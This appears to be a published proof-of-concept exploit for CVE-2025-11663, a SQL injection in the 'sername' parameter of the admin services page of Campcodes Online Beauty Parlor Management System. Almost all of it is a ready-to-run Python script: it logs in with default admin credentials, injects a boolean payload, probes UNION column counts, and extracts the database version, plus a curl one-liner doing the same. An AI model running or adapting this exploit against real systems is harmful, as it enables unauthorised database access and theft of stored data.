CVE-2025-11663：Campcodes美容管理系统SQL注入漏洞

# CVE-2025-11663 PoC - SQL Injection in Campcodes Online Beauty Parlor Management System # Vulnerable file: /admin/manage-services.php # Vulnerable parameter: sername import requests # Target configuration TARGET_URL = "http://target-site.com" ADMIN_PATH = "/admin/manage-services.php" USERNAME = "admin" PASSWORD = "admin123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as admin (required due to PR:H - High privileges required) login_url = f"{TARGET_URL}/admin/index.php" login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } try: # Perform login response = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response status: {response.status_code}") # Step 2: Exploit SQL injection via 'sername' parameter # Basic boolean-based injection test sqli_payload = "' OR '1'='1' -- " exploit_url = f"{TARGET_URL}{ADMIN_PATH}" exploit_params = { "sername": sqli_payload, "search": "Search" } response = session.get(exploit_url, params=exploit_params, verify=False) print(f"[*] Exploit response status: {response.status_code}") # Step 3: Extract database information using UNION-based injection # First determine number of columns for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) union_payload = f"' UNION SELECT {cols}-- " params = {"sername": union_payload, "search": "Search"} r = session.get(exploit_url, params=params, verify=False) if r.status_code == 200 and "error" not in r.text.lower(): print(f"[+] Number of columns: {i}") break # Step 4: Extract database version and current user extract_payload = f"' UNION SELECT {cols}-- " # Replace last column with database() or version() extract_cols = ",".join([str(x) for x in range(1, i)]) extract_payload = f"' UNION SELECT {extract_cols},version()-- " params = {"sername": extract_payload, "search": "Search"} r = session.get(exploit_url, params=params, verify=False) print(f"[*] Database version response:\n{r.text[:500]}") except Exception as e: print(f"[-] Error: {e}") # Alternative: Manual curl-based exploitation # curl -X POST "http://target/admin/manage-services.php" \ # -b "PHPSESSID=your_session_cookie" \ # -d "sername=' OR '1'='1' -- &search=Search"